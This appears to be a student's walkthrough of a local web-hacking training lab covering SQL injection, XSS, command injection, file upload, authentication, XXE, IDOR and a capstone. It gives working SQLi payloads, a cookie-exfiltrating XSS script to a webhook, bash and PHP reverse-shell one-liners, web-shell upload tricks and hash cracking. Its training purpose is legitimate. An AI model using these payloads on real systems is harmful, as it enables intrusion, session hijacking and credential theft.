-
To install Docker and Docker Compose, run PimpMyKali with
./pimpmykali.sh
and select option 7. -
To set up the labs, run PimpMyKali again with
./pimpmykali.sh
and select option E.
-
Alternatively, open a terminal on your Kali Linux virtual machine and run the following commands:
sudo apt update sudo apt install docker.io sudo curl -L "https://github.com/docker/compose/releases/download/v2.29.0/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose
-
Verify that Docker Compose is installed correctly:
docker-compose version
-
Restart your virtual machine.
-
Download the web labs from TCM's link: labs.
-
Copy the labs to your desired location and extract the files:
tar -xf peh-web-labs.tar.gz cd labs sudo docker-compose up
The last command starts multiple containers using a single YAML file. You can also run it in the background using
-d
(detached mode).Here are some other useful commands:
# List all running containers sudo docker ps -a # Stop the containers sudo docker-compose stop # Removing the containers, it will also list container ID that are stopped sudo docker rm $(sudo docker ps -aq)
The first time you run the lab, it will take some time to download necessary dependencies. Subsequent runs will be much faster. Once you see that mysqld
and mysqlx
are "ready for connections," the setup is complete.
- Set the necessary permissions for the web server, which is required for the file upload labs and the capstone challenge. Run the following command in a separate terminal tab (use
Ctrl+Shift+T
to open a new tab):
./set-permissions.sh
-
Open your browser and navigate to http://localhost.
-
The first time you load the lab, the database will need to be initialized. Follow the instructions in the red box by clicking the link, then return to the homepage.
Note: If at any point you mess up the tables or database of the labs, you can reset it by visiting http://localhost/init.php.
SQL Injection (SQLi) is a critical vulnerability that occurs when an attacker can manipulate SQL queries by injecting malicious input. This can lead to unauthorized access, data manipulation, or even complete control over the database.
sudo systemctl start mysql
sudo mysql
CREATE DATABASE demo_db;
USE demo_db;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL,
age INT NOT NULL
);
INSERT INTO users (username, password, age) VALUES ('alice', 'password123', 30);
INSERT INTO users (username, password, age) VALUES ('bob', 'securepass', 25);
SELECT * FROM users;
EXIT;
-
Special Characters: Certain characters are commonly used to exploit SQL Injection vulnerabilities:
- Single Quote (
'
): Often used to break out of string literals in SQL queries. - Double Quote (
"
): Used similarly to single quotes, depending on the SQL dialect. - Semicolon (
;
): Can be used to terminate one query and start another.
- Single Quote (
-
Basic Injection Example:
' OR 1=1 --
: A common SQL Injection payload. It manipulates the SQL query to always return true, potentially bypassing authentication or exposing data.'
: Ends the current string literal.OR 1=1
: Always evaluates to true, altering the query logic.--
: SQL comment syntax that ignores the rest of the query.
-
Commenting Out Query:
--
: A SQL comment that can be used to ignore the rest of a query. This is often used in conjunction with injection payloads to ignore parts of the original query.
The UNION
operator in SQL is used to combine the results of two or more SELECT
statements. However, for the UNION
to work correctly, there are two important conditions that must be met:
The number of columns in both SELECT
statements must be the same.
The data types of the corresponding columns must be compatible.
When performing SQL injection, attackers often use the UNION
operator to extract additional information from different tables or columns within the same table. However, to successfully use UNION
, the number of columns in the injected SELECT
statement must match the number of columns in the original query.
Determining the Number of Columns
To determine the number of columns in the original query, attackers may inject a series of NULL
values into the UNION
statement and increase the count of NULL
s iteratively until the query executes successfully. This technique is often referred to as a "column enumeration attack."
For example, if the original query is:
SELECT username, email FROM injection0x01 WHERE username = 'jeremy';
An attacker might start with: jeremy' UNION SELECT NULL #
If the number of NULL
values does not match the number of columns in the original query, an error will be returned.
The attacker will then increment the number of NULL
values: jeremy' UNION SELECT NULL, NULL, NULL #
Once we've identified a vulnerable input field, we can start injecting SQL queries to extract valuable information from the database:
- Get the Database Version:
' union select null,null,version()#
- Discover Available Tables:
'union select null, null,table_name from information_schema.tables#
- Discover Available Columns:
'union select null, null,column_name from information_schema.columns#
To solve the challenge:
- Identify Columns in a Specific Table:
' UNION SELECT null, null, column_name FROM information_schema.columns WHERE table_name = 'injection0x01' #
- Extract Data from the Target Table:
' UNION SELECT email, null, password FROM injection0x01 #
This will return the list of email addresses and their corresponding passwords:
Username: [email protected] - Email: jeremyspassword
Username: [email protected] - Email: jessamyspassword
Username: [email protected] - Email: bobspassword
- Open Burp Suite.
- Add
http://localhost
to the Target > Scope section. - Open
http://localhost/labs/i0x02.php
in Burp Suite's browser (or in Firefox via FoxyProxy). - Log in with the credentials
jeremy:jeremy
, and send the request to the Repeater.- A successful request returns a response with a
Content-Length
of 1928. - When the credentials are incorrect, the
Content-Length
is 2122.
- A successful request returns a response with a
- Copy the POST request into a text file (e.g.,
request.txt
). - To use SQLMap, run the command:
sqlmap -r request.txt
- SQLMap didn't find any potential vulnerabilities in this request.
- We have a GET request with the session parameter in the Cookie. We can try to intercept that and add a substring for testing.
- Modify the request as follows:
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex',1,1)='a'#
- Since the injected condition is true (the first character of the string 'alex' is 'a'), the query returns a result, and the web page loads normally. This confirms that we can inject substrings.
- We can use Burp Suite's Intruder tool to test each letter of the alphabet to find the first letter in Jessamy's password. Set up the payload as follows:
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'),1,1)='§letter§'#
- The correct payload will yield a different
Content-Length
. Here, the password starts with Z, theContent-Length
is 1347 instead of 2247/48.
- Save the GET request without the substring payload in a file (e.g.,
request2.txt
). - Run SQLMap with the following command:
sqlmap -r request2.txt --level=2
.level=2
is for cookies as parameter. Agree to all prompts as needed.
sqlmap identified the following injection point(s) with a total of 366 HTTP(s) requests:
---
Parameter: session (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: session=6967cabefd763ac1a1a88e11159957db' AND 1204=1204 AND 'DBbN'='DBbN
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: session=6967cabefd763ac1a1a88e11159957db' AND (SELECT 1206 FROM (SELECT(SLEEP(5)))xhQZ) AND 'hVfr'='hVfr
---
- To retrieve the credentials, use the following command:
sqlmap -r request2.txt --level=2 -T injection0x02 --dump
Database: peh-labs
Table: injection0x02
[2 entries]
+---------------------+--------------+----------+--------------------------------------------+
| email | password | username | session |
+---------------------+--------------+----------+--------------------------------------------+
| [email protected] | jeremy | jeremy | 6967cabefd763ac1a1a88e11159957db (jeremy) |
| [email protected] | ZWFzdGVyZWdn | jessamy | 9dedc6891e2839a791ed37157f1241fe (jessamy) |
+---------------------+--------------+----------+--------------------------------------------+
- Determine the Number of Columns:
Senpai Knife Set' UNION SELECT NULL, NULL, NULL, NULL #
- Discover Available Tables:
Senpai Knife Set' UNION SELECT NULL, NULL, NULL, table_name from information_schema.tables #
, we haveinjection0x03_products
andinjection0x03_users
- Retrieve Data from a Table:
Senpai Knife Set' UNION SELECT NULL, NULL, NULL, password from injection0x03_users #
, we get username:takeshi
Senpai Knife Set' UNION SELECT NULL, NULL, NULL, password from injection0x03_users #
, we get password:onigirigadaisuki
- Intercept the POST request in Burp Suite.
- Change the product to
test
. - Save the modified request to a file named
request3.txt
.
- Dump the Table Data:
sqlmap -r request3.txt -T injection0x03_users --dump
Database: peh-labs
Table: injection0x03_users
[1 entry]
+------------------+----------+
| password | username |
+------------------+----------+
| onigirigadaisuki | takeshi |
+------------------+----------+
Note: Feel free to use this cheat sheet
Cross-Site Scripting (XSS) is a well-known vulnerability in web applications, though its prevalence is declining as many modern frameworks include built-in protection against XSS by default. XSS is an injection attack where malicious JavaScript code is injected into a web application with the intention of being executed by other users.
-
Reflected XSS: The injected script is reflected off the web server in the response. It occurs when the malicious script is included in the request and is immediately executed in the response without being stored.
-
Stored XSS: The injected script is permanently stored on the target server, such as in a database. This type of XSS is more dangerous as it can affect multiple users. A variant of stored XSS is Blind XSS, where the attacker cannot see the payload's effect directly and might only be able to test it through indirect methods.
-
DOM-Based XSS: The attack occurs within the client-side JavaScript code, and the injection happens in the Document Object Model (DOM). The malicious script is executed as a result of the DOM manipulation rather than server-side code.
-
In this lab, there is an input field that allows us to add entries to a to-do list. No data is sent to a server, as confirmed by checking the Network section of the browser's inspector. This suggests the presence of a DOM-based XSS vulnerability.
-
To test for XSS, enter the following payload into the input field:
<img src=x onerror="prompt(1)">
. This payload uses a fake image URL to trigger an error, causing theonerror
event to execute the JavaScript code. The prompt box appears. It indicates the presence of a DOM-based XSS vulnerability.
-
For this lab, you'll need two Firefox add-ons:
-
After installing the add-ons, open the lab in two separate containers (e.g.,
Personal
andWork
). -
In the
Personal
container:- Click on "Allow" in the Cookie-Editor interface and add a fake cookie.
- Open the browser console and type
document.cookie
. You should see your fake cookie displayed.
-
In the
Work
container:- Enter the same
document.cookie
command in the console. You should receive an empty string, confirming that the sessions are separate.
- Enter the same
-
To test for stored XSS:
- In the
Personal
container, enter a comment:<h1>test</h1>
. The HTML should be reflected in the comment. - Switch to the
Work
container and refresh the page. You should see the same comment<h1>test</h1>
.
This indicates a stored XSS vulnerability, as the input from the
Personal
container is reflected and visible in theWork
container. - In the
In this challenge, we need to understand how to use a Webhook to capture and observe the payload in action.
- Set Up Your Webhook: Use a service like Webhook.site to generate a unique Webhook URL.
- Add the following payload in the message field where XSS can be injected:
<script> let i = new Image(); i.src = "https://webhook.site/<webhook_id>?" + document.cookie; </script>
- Monitor the Webhook: Keep an eye on the Webhook service dashboard. Open
http://localhost/labs/x0x03_admin.php
. When the admin panel refreshes or interacts with the payload, you will receive requests at your Webhook URL. - Capture the Admin’s Cookie: The Webhook requests will contain the
document.cookie
from the admin’s session. Review these requests to obtain the admin’s cookie.
Command injection is a vulnerability that allows an attacker to manipulate an application into executing arbitrary system commands on the server. This occurs when an application passes unsafe data, often user input, to a system shell.
For example, a vulnerable web application might take a file path from a query parameter and use it to read a file, like so:
$file = $_GET['file'];
system("cat /var/www/html/$file");
If an attacker uses a payload such as ; ls -la
in the file
parameter, they can make the application execute an additional command that lists all files in the current directory.
Command injection can often lead to:
- Remote code execution
- Denial of Service
- Data breach
- Privilege escalation
Source: AppSecExplained
- There is a field to enter web URLs, which returns a response code on the screen. It also displays the command executed in the backend to retrieve the result.
- Test for command injection vulnerability: Use the payload
; sleep 10
. If the response takes 10 seconds, it confirms that we can inject commands. - Gather information about the machine: Use
; uname -a; asd
.asd
is a harmless string used to ensure the command injection works correctly without causing syntax errors. The output revealsLinux 002aabef9f88 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux
. - Retrieve passwords:
; cat /etc/passwd; asd
- Refer to Bash TCP payloads
- Find Bash Path:
; which bash; asd
. It gives us/bin/bash
- Open a port on your machine:
nc -lvnp 4242
- Attempt Bash TCP reverse shel:
; /bin/bash -l > /dev/tcp/192.168.92.128/4242 0<&1 2>&1; asd
. It doesn't work.
- Refer to PHP payloads
- Find PHP path:
; which php; asd
. It gives us/usr/local/bin/php
- Open a port on your machine:
nc -lvnp 4242
- Attempt Bash TCP reverse shel:
; /usr/local/bin/php -r '$sock=fsockopen("192.168.92.128",4242);exec("/bin/sh -i <&3 >&3 2>&3");' asd
. This should establish a reverse shell connection to your machine.
- The command executed in the backend is no longer printed out. Create a webhook address using Webhook.site.
- Test the command execution by entering:
https://webhook.site/<webhook_id>?"whoami"
. Check the Webhook.site interface for a request with the payload in the query string. This confirms that we can execute commands.
- Start a Python HTTP server on your machine:
python3 -m http.server 80800
- Use the following payload to test if requests can be made:
http://tcm-sec.com \\n wget 192.168.92.128:8080/test
.\\n
(newline) ensures that the command is executed correctly. A404
error in your server logs indicates that requests are being made successfully.
- On your Linux machine, locate and copy the PHP reverse shell script using:
cp /usr/share/webshells/laudanum/php/php-reverse-shell.php .
. This copies the reverse shell script to your current directory. - Edit the
php-reverse-shell.php
file to update the IP address and port number to match your attacker's machine IP address and the port you will be listening on (4444
).
There are two methods to upload the reverse shell:
-
Method 1: Use
wget
to download the reverse shell directly:http://tcm-sec.com \\n wget 192.168.92.128:8080/php-reverse-shell.php
-
Method 2: Use
curl
to download and save the reverse shell:http://tcm-sec.com && curl 192.168.92.128:8080/php-reverse-shell.php > /var/www/html/php-reverse-shell.php
On your attacker machine, start a Netcat listener on port 4444:
nc -nvlp 4444
After using the second method, connect to http://localhost/php-reverse-shell.php
to trigger the reverse shell.
- Test Command Injection: Experiment with the input fields. Commands can be executed if you use the format
<random-value>)^2))}';<command>;#
. We getwww-data
printed for Y. - Open a port on your machine:
nc -lvnp 4242
- Use a PHP Reverse Shell Payload:
<random-value>)^2))}';php -r '$sock=fsockopen("192.168.92.128",4242);exec("/bin/sh -i <&3 >&3 2>&3");';#
. This payload will create a PHP one-liner that connects back to your Netcat listener, providing a shell on the target machine.
Insecure File Upload is a vulnerability that arises when an application permits the uncontrolled and unvalidated upload of files. This vulnerability can be exploited by attackers to upload malicious files, such as web shells, which can then be used to execute arbitrary code, leak sensitive data, or perform other malicious actions.
Consider an application that allows users to upload profile pictures without verifying the file type and content, or without properly managing the file storage. An attacker could upload a PHP shell script disguised as an image file. When this file is accessed on the server, the malicious script can be executed, leading to a security breach.
- Remote Code Execution (RCE): Attackers can execute arbitrary code on the server by uploading and running malicious files.
- Data Leakage: Sensitive data may be exposed or accessed if attackers can read or modify files on the server.
- Server Compromise: Successful attacks can lead to full server compromise, giving attackers control over the server environment.
Source: AppSecExplained
-
Create a test file:
echo "test" > test.txt
-
Attempt to upload the file. It’s rejected with the message:
Only '.jpg' and '.png' files are allowed.
-
Open the Network tab in your browser’s developer tools. Try uploading the file again. Notice that no request is sent to the server, indicating that the validation occurs on the client side.
-
Inspect HTML and JavaScript:
<input class="form-control" type="file" id="formFile" name="uploaded_file" onchange="validateFileInput(this);" />
function validateFileInput(input) { var validExtensions = ["jpg", "png"]; var fileName = input.files[0].name; var fileNameExt = fileName.substr(fileName.lastIndexOf(".") + 1); if (!validExtensions.includes(fileNameExt.toLowerCase())) { input.value = ""; alert("Only '.jpg' and '.png' files are allowed."); } }
The file type validation is done on the client side, which can be bypassed.
- Use Burp Suite to intercept the request while uploading a PNG file.
- Send the captured POST request to Burp Suite’s Repeater.
- Modify the request:
------WebKitFormBoundarys4LqsykPyayRS76o
Content-Disposition: form-data; name="uploaded_file"; filename="testfile.txt"
Content-Type: text/plain
This is a test file with some text content.
------WebKitFormBoundarys4LqsykPyayRS76o--
The file upload succeeds despite the file being a .txt
instead of an image.
- Modify the file details:
- Change Filename:
cmd.php
- Change Content-Type:
image/png
- Insert PHP Payload: copy the system one
- Change Filename:
- Use the modified request to upload the PHP file. It uploads successfully.
- Use
ffuf
to discover where the uploaded file is stored:ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt
- The
labs
directory is promising. Refine the search:ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt
- The file is stored in
uploads
. - Access the uploaded file in the browser and execute commands:
http://localhost/labs/uploads/cmd.php?cmd=whoami
- Attempt to reuse the technique we've seen to upload a PHP file. This time, the server blocks our request:
Only '.jpg' and '.png' files are allowed. Sorry, your file was not uploaded.
- We want to mimic the signature of a PNG file, which is identified by specific "magic bytes." Download a PNG file from Test picture generator.
- Open Burp Suite to intercept the POST request and upload the PNG file.
- Send the request to Burp Suite's repeater.
- Change the filename to
cmd2.php
. - Add the PHP payload after the second line of the file starting with
IHDR
. You can use a PHP payload like the system one from JohnTroony's php-webshells. - The file uploads successfully:
The file cmd2.php has been uploaded.
- Navigate to
http://localhost/labs/uploads/cmd2.php?cmd=whoami
. You should seewww-data
at the end of the first line. Try other commands, likecat /etc/passwd
.
- We follow the same steps as in the previous section. This time,
php
files are rejected with the message:The file extension '.php' is not allowed. Sorry, your file was not uploaded.
- We try using the
php5
extension, and it works:The file cmd3.php5 has been uploaded.
- Unfortunately, the server can't execute
php5
files. We attempt other extensions:php4
,php3
,php2
,php1
. None of these work. - Next, we try the
phtml
extension. This extension is used for files that contain PHP code and HTML content. It works:The file cmd3.phtml has been uploaded.
- Navigate to
http://localhost/labs/uploads/cmd3.phtml?cmd=whoami
. You should seewww-data
at the end of the first line.
Authentication is the process by which a system confirms the identity of a user or application. It's essentially all about who you are.
Targeting authentication mechanisms allows us to impersonate users, admins, or systems and gain unauthorized access. Often, we look to attack logic issues and lack of brute-force protection.
Common targets in authentication attacks include:
- Passwords or passphrases
- Multi-Factor Authentication (MFA)
- Session tokens
- Cookies
- Recovery questions and answers
Source: AppSecExplained
Brute forcing authentication requires methodical approaches. Keep in mind that attacking live systems may be slow, and a large wordlist might be impractical.
- Open Burp Suite: Begin by opening Burp Suite to intercept HTTP requests.
- Set Up Authentication Test: Use the credentials
jeremy:password
in the authentication form. - Configure Burp Suite Intruder:
- Send the POST request to Burp Suite’s Intruder.
- Add the
password
field as a variable to be fuzzed.
- Load Payloads:
- In the Payloads tab, load the wordlist from
/usr/share/seclists/SecLists-master/Passwords/Common-Credentials/best1050.txt
. If you cannot find this file, uselocate seclists
to locate it. - Note: If the wordlist is too small to find the correct password, consider using a larger list, but be aware that Burp Suite is throttled/rate-limited.
- In the Payloads tab, load the wordlist from
- Analyze Results:
- Order the results by length. Look for a size discrepancy. In our case,
letmein
has a unique size. - Try logging in with
letmein
. Success will be indicated by a message:You have successfully logged in!
- Order the results by length. Look for a size discrepancy. In our case,
-
Prepare the Request:
- Copy the POST request into a text file named
request.txt
. - Replace the password variable with
FUZZ
to indicate whereffuf
should inject the payload.
- Copy the POST request into a text file named
-
Run ffuf:
-
Execute the following command to start the fuzzing process:
ffuf -request request.txt -request-proto http -w /usr/share/seclists/SecLists-master/Passwords/Common-Credentials/best1050.txt -fs 1814
-
The
-fs 1814
flag filters out responses with a specific size, which can help in identifying successful password guesses.
-
-
Output:
letmein [Status: 200, Size: 1808, Words: 494, Lines: 47, Duration: 9ms] :: Progress: [1049/1049] :: Job [1/1] :: 59 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
Multi-Factor Authentication (MFA) is a method of confirming a user's identity by using multiple pieces of evidence (factors), typically something they know (like a password), something they have (like a physical token or a mobile device), and something they are (like biometric data).
- Read this checklist.
- Open Burp Suite to monitor HTTP requests.
- As recommended, start by going through the MFA process: you have to enter
jessamy:pasta
. Then, you're asked for a one-time code:Please enter your MFA code.
Generate it through the link provided, and copy-paste the code. You're now logged in. - Now, we need to think about implementation weaknesses, ways to bypass MFA, and backdoors.
- In our case, we have two ways to attack MFA:
- Editing the username in the POST request with the one-time code.
- Brute-forcing the MFA code itself, since it's a six-figure number (e.g., 000000 to 999999).
- Enter
jessamy:pasta
to log in. Open a new tab to generate a one-time code. - Turn Burp Suite's interceptor on. Send the form request with the one-time code. Edit the POST request, and change
jessamy
tojeremy
. Forward the request. - You should see:
Target account: jeremy
,Your credentials: jessamy:pasta
, andWelcome jeremy
.
-
The goal is to find a valid account and log in. There’s a risk of locking out accounts after 5 unsuccessful attempts.
-
Open Burp Suite to monitor HTTP requests.
-
Start with a random username to see if errors are displayed to users. No errors are displayed.
-
Look for easy usernames:
admin user test guest administrator root info support sysadmin superuser
-
Interestingly, with
admin
, we get an error message:Password incorrect, added a lockout attempt
. This indicates that the account exists. -
With only four attempts left, choose from common passwords:
admin password 123456 1234 12345 12345678 qwerty letmein welcome admin123
-
Create a
pwd.txt
file with the following:123456 password letmein teashop
- Copy the POST request to a
request3.txt
file. Edit the params to:username=FUZZUSER&password=FUZZPASS
- Use a list to ensure no other accounts are missed:
/usr/share/seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
- A working password is found:
[Status: 200, Size: 3378, Words: 1270, Lines: 68, Duration: 12ms]
* FUZZPASS: letmein
* FUZZUSER: admin
:: Progress: [68/68] :: Job [1/1] :: 15 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
- When using these credentials, the message
Successfully logged in! Challenge complete!
is displayed.
- Open
http://localhost/init.php
to ensure previous attempts are reset. - Send the POST request to the intruder. Select
Cluster bomb
for the attack type. Defineadmin
andpassword
as variables. - In the Payloads tab, for Payload 1, load the list from
/usr/share/seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
- For Payload 2, load your
pwd.txt
file. - Launch the attack.
- With
admin:letmein
, a response is received withSuccessfully logged in! Challenge complete!
XML External Entity (XXE) vulnerabilities occur when an application processes XML input that includes a reference to an external entity. This vulnerability can affect any technology that parses XML. By exploiting an XXE vulnerability, an attacker can read local files on the server, interact with internal systems, or conduct denial of service attacks.
A vulnerable application might parse XML input from a user without disabling external entities. An attacker could then send XML like the following:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
In this case, the XML parser will replace &xxe;
with the contents of the /etc/passwd
file and include it in the output.
XXE can often lead to:
- Disclosure of internal files
- Server Side Request Forgery (SSRF)
- Denial of Service
- Remote Code Execution in some rare cases
Source: AppSecExplained
- In our lab, the upload interface is likely an internal system tool for admins to bulk update user info.
- Always test if your application accepts XML files. If you have to test API endpoints, try sending XML. Sometimes it is accepted, and the endpoint could be vulnerable to XXE.
- The XML files are in
/user-content
in the labs folder you downlodaded. - View the files:
cat xxe-safe.xml
andcat xxe-exploit.xml
. The exploit is similar to the simple example mentioned above. - First, upload
xxe-safe.xml
File uploaded and parsed successfully: User: testuser Password: testpass
- Now, upload
xxe-exploit.xml
. The interface should display the passwords.
IDOR (Insecure Direct Object Reference), also known as BOLA (Broken Object Level Authorization), is a type of access control vulnerability that occurs when an application improperly allows users to access objects directly by referencing them via a parameter, such as a file, database record, or URL, without proper authorization checks. This can lead to unauthorized access to sensitive data or actions.
For example, if a web application or an API allows users to view their own account details by passing an account ID in the URL (/?account=1018
), but doesn't verify that the user is authorized to view that specific ID, an attacker could modify the ID to access another user's account (?account=1019
), leading to a potential data breach.
IDOR vulnerabilities are particularly dangerous because they are often easy to exploit and can lead to significant security issues, including unauthorized data access, manipulation, or even deletion. Properly implementing authorization checks on the server side is crucial to preventing IDOR/BOLA vulnerabilities.
- In our lab, we want to enumerate all available accounts by creating a sequence from 0 to 2000. Use the following command:
ffuf -u "http://localhost/labs/e0x02.php?account=FUZZ" -w <(seq 0 2000) -fs 849 -of csv -o ids.csv
- To extract IDs from the CSV file, extract the first column (IDs), skip the header, sort them, and save:
cut -d ',' -f1 ids.csv | tail -n +2 | sort -n > ids.txt
- User accounts have IDs between 1000 and 1019.
- We want to gather all user information and filter out admin users. Use the following script to fetch user details and filter by
Type: admin
:
while IFS= read -r id; do
# Fetch the response for the current ID
response=$(curl -s "http://localhost/labs/e0x02.php?account=$id")
# Extract Username, Address, and Type using grep and awk
username=$(echo "$response" | grep -oP '(?<=<p>Username: ).*?(?=</p>)')
address=$(echo "$response" | grep -oP '(?<=<p>Address: ).*?(?=</p>)')
type=$(echo "$response" | grep -oP '(?<=<p>Type: ).*?(?=</p>)')
# Check if Type is 'admin'
if [[ "$type" == "admin" ]]; then
# Write to output file
echo "ID: $id | Username: $username | Address: $address | Type: $type" >> output.txt
fi
done < ids.txt
- We get the following 4 admin users:
ID: 1008 | Username: harry | Address: 99, Potter Drive, HGP 3KT | Type: admin
ID: 1010 | Username: jack | Address: 121, Sparrow Street, PRT 4BD | Type: admin
ID: 1012 | Username: lucy | Address: 141, Diamond Street, LDN 2RT | Type: admin
ID: 1014 | Username: nancy | Address: 161, Drew Drive, USA 2ND | Type: admin
- Send the GET request
http://localhost/labs/e0x02.php?account=1009
to the Intruder. - Select
Sniper
as the type of attack. - Define the account ID as a variable.
- Create a sequence of account IDs from 1 to 2000 using the following command:
python3 -c "for i in range (1,2001): print(i)" > num.txt
- In the Payloads tab, load the sequence file
num.txt
- Launch the attack.
- Order the results by response length:
- A length of
1168
indicatesNo account information found
- Responses with a length around
1210
to1220
contain user information.
- A length of
Perform a comprehensive security audit of a small application with login functionality. Instead of focusing on a single critical vulnerability that might lead to code execution, aim to identify all impactful issues across various attack vectors.
- SQL Injection: Test for vulnerabilities in database queries.
- Cross-Site Scripting (XSS): Check for script injection and improper handling of user inputs.
- Command Injection: Look for potential injection points where system commands might be executed.
- Insecure File Upload: Assess file upload functionality for risks such as arbitrary file upload or code execution.
- Authentication: Evaluate authentication mechanisms for weaknesses like poor password policies or insecure session management.
- XML External Entity (XXE): Test XML parsing for vulnerabilities that could lead to file disclosure or other attacks.
- Insecure Direct Object References (IDOR): Check for unauthorized access to resources through predictable URLs or parameters.
To reset the lab environment, use the following URL: http://localhost/capstone/init.php
- Use FFUF to enumerate directories and files within the target. The command below specifies the URL and wordlist to use, along with recursion to explore subdirectories:
ffuf -u http://localhost/capstone/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -recursion
- Alternatively, use Gobuster to enumerate directories and files. The command below specifies the URL, wordlist, and file extensions to search for:
gobuster dir -u http://localhost/capstone -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/raft-small-files.txt -x .php
- GET http://localhost/capstone/index.php
- GET http://localhost/capstone/coffee.php?coffee=1
- GET http://localhost/capstone/admin/admin.php
- GET http://localhost/capstone/index.php?message=You%20are%20now%20logged%20out!
- GET http://localhost/capstone/index.php?message=You%20successfully%20logged%20in!
- GET http://localhost/capstone/logout.php
- POST http://localhost/capstone/auth.php username=username&password=password&auth=login
- POST http://localhost/capstone/auth.php username=username&password=password&password-repeat=passwor&auth=signup
- POST http://localhost/capstone/coffee.php?coffee=1 rating=rating&coffee_id=8&comment=comment
- POST http://localhost/capstone/admin/admin.php
- Save the following Burp Suite request to a text file (
coffee.txt
):http://localhost/capstone/coffee.php?coffee=1
- Use SQLMap to test for SQL injection vulnerabilities:
sqlmap -r coffee.txt
Parameter: coffee (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: coffee=1' AND 6176=6176 AND 'qrgz'='qrgz
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: coffee=1' AND (SELECT 2932 FROM (SELECT(SLEEP(5)))FsSG) AND 'bflN'='bflN
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: coffee=1' UNION ALL SELECT NULL,CONCAT(0x7178706b71,0x42654f7050784b4572776a51454270704c766b4c5952535661526145684d4c6f74556e7756555a4a,0x7170787871),NULL,NULL,NULL,NULL,NULL-- -
- Dump the
users
table (identified during the command injection part below) using:sqlmap -r coffee.txt -T users --dump
Table: users
[8 entries]
+---------+--------+--------------------------------------------------------------+----------+
| user_id | type | password | username |
+---------+--------+--------------------------------------------------------------+----------+
| 1 | admin | $2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy | jeremy |
| 2 | admin | $2y$10$meh2WXtPZgzZPZrjAmHi2ObKk6uXd2yZio7EB8t.MVuV1KwhWv6yS | jessamy |
| 3 | admin | $2y$10$cCXaMFLC.ymTSqu1whYWbuU38RBN900NutjYBvCClqh.UHHg/XfFy | raj |
| 4 | user | $2y$10$ojC8YCMKX2r/Suqco/h.TOFTIaw5k3Io5FVSCeWjCCqL8GWwmAczC | bob |
| 5 | user | $2y$10$EPM4Unjn4wnn4SjoEPJu7em6OLISImA50QS3T1jCLyh48d7Pv6KBi | maria |
| 6 | user | $2y$10$qAXjb233b7CMHc69CU.8ueluFWZDt9f08.XYJjsJ.EfC/O5JGSOqW | amir |
| 7 | user | $2y$10$37gojoTFmj86E6NbENGg9e2Xu2z6OKKSgnjYxDkXJn/8dvSk2tKfG | xinyi |
| 8 | user | $2y$10$5sVvPfZOjzRTSeXJtQBGc.CfsDEwvITNkIg2IF9jSBhZZ1Rq.IK3. | kofi |
+---------+--------+--------------------------------------------------------------+----------+
- Use Hashcat to crack the extracted password hashes. For example, to crack the bcrypt hash for
jeremy
:hashcat -m 3200 -a 0 '$2y$10$F9bvqz5eoawIS6g0FH.wGOUkNdBYLFBaCSzXvo2HTegQdNg/HlMJy' /usr/share/seclists/SecLists-master/Passwords/xato-net-10-million-passwords-10000.txt
- The password
captain1
is cracked for the userjeremy
.
- You can inject a script into the comment section using the following payload:
<script>prompt(1)</script>
- By creating session containers, it's possible to exploit XSS to retrieve a cookie from one container in another with
<script>document.cookie</script>
.
- To determine how many columns are required for the SQL injection to work, use the following URL:
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,null,null,null,null,null,null%20--%20-
. This query shows that 7 columns are needed. - Once you know the number of columns, you can start gathering information about the database tables:
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,TABLE_NAME,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.TABLES--%20-
- To get the column names from a specific table, use:
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,Column_name,%27string%27,null,null,null,null%20FROM%20INFORMATION_SCHEMA.COLUMNS--%20-
- With the correct table and column names, you can extract sensitive data such as usernames and passwords:
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20FROM%20users--%20-
- Use the credentials
jeremy:captain1
to log in. - After logging in, navigate to the admin panel via:
http://localhost/capstone/admin/admin.php
. - Start by making a normal POST request to upload a PNG file. Once the upload is complete, send this request to Burp Suite's repeater for further inspection.
- Text files are rejected by the upload filter.
- In your POST request, change the file format to PHP, copy the system payload at the end of the first line of your PNG bytes.
- Once the file is uploaded, go to the new post and copy the image path.
- To execute commands on the server, change the file's extension from
.png
to.php
and append your command in the URL:http://localhost/capstone/assets/11.php?cmd=whoami
- You can also try extracting sensitive files with:
http://localhost/capstone/assets/11.php?cmd=cat%20/etc/passwd
- The application allows users to sign up and log in without providing a username or password, indicating a critical flaw in the authentication process.